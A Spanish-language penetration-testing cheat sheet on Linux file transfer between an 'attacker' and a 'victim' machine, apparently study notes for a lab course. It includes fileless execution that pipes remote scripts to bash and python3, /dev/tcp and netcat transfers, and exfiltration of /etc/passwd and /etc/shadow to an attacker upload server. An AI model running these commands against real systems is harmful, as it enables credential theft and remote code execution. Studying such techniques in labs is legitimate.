Transferencia de Archivos

Diferentes utilidades para las operaciones de transferencia de archivos en Linux.

Operaciones de Descarga

Codificación/Decodificación Base64

Máquina atacante

cat test.txt | base64 -w 0; echo
SGVsbG8gV29ybGQhCg==

Máquina víctima

echo "SGVsbG8gV29ybGQhCg==" | base64 -d > test.txt

Descargas web con Wget y cURL

Dos de las utilidades más comunes en las distribuciones de Linux para interactuar con aplicaciones web son wget y curl. Estas herramientas están instaladas en muchas distribuciones de Linux.

Para descargar un archivo usando wget, necesitamos especificar la URL y la opción -O para establecer el nombre del archivo de salida.

Descargar un archivo usando wget

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh

Descargar un archivo usando cURL

cURL es muy similar a wget, pero la opción del nombre del archivo de salida es -o en minúscula.

curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -o /tmp/LinEnum.sh

Ataques sin archivos usando Linux

Descarga sin archivos con cURL

curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

Descarga sin archivos con wget

wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3

Hello World!

Descargar con Bash (/dev/tcp)

También puede haber situaciones en las que ninguna de las herramientas de transferencia de archivos más conocidas esté disponible. Siempre que esté instalada la versión 2.04 o superior de Bash (compilada con --enable-net-redirections), el archivo de dispositivo integrado /dev/tcp se puede utilizar para descargas de archivos simples.

Máquina atacante

Creamos un servicor HTTP con Python.

python3 -m http.server 80

Máquina víctima

Nos conectamos al servidor web de destino

exec 3<>/dev/tcp/10.10.10.32/80

Realizamos la solicitud HTTP GET

echo -e "GET /test.txt HTTP/1.1\n\n">&3

Imprimimos la respuesta

cat <&3

Descargas SSH

Linux: descarga de archivos mediante SCP

scp elliot@192.168.1.19:/root/myroot.txt . 

Web Upload

Podemos usar uploadserver , un módulo extendido de Python HTTP.Server módulo, que incluye una página de carga de archivos. Para este ejemplo de Linux, veamos cómo podemos configurar el uploadserver módulo a utilizar HTTPS para una comunicación segura.

Lo primero que debemos hacer es instalar el uploadserver módulo.

Iniciar servidor web

sudo python3 -m pip install --user uploadserver

Ahora necesitamos crear un certificado. En este ejemplo, utilizamos un certificado autofirmado.

Crear un certificado autofirmado

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

El servidor web no debe alojar el certificado. Recomendamos crear un nuevo directorio para alojar el archivo en nuestro servidor web.

Iniciar servidor web

mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

Ahora desde nuestra máquina comprometida, carguemos el /etc/passwd y /etc/shadow archivos.

Máquina Víctima (Linux)

curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

Usamos la opción --insecure porque utilizamos un certificado autofirmado en el que confiamos.

Netcat

Máquina atacante

nc -l -p 4444 > output.txt

Máquina victima

nc -w 3 192.168.1.10 4444 < output.txt

Método alternativo de transferencia de archivos web

Linux: creación de un servidor web con Python3

python3 -m http.server

Linux: creación de un servidor web con Python2.7

python2.7 -m SimpleHTTPServer

Linux: creación de un servidor web con PHP

php -S 0.0.0.0:8000

Linux: creación de un servidor web con Ruby

ruby -run -ehttpd . -p8000

Descargamos el archivo

wget 192.168.1.19:8000/filetotransfer.txt

Operaciones de Subida

SCP

scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/

Última actualización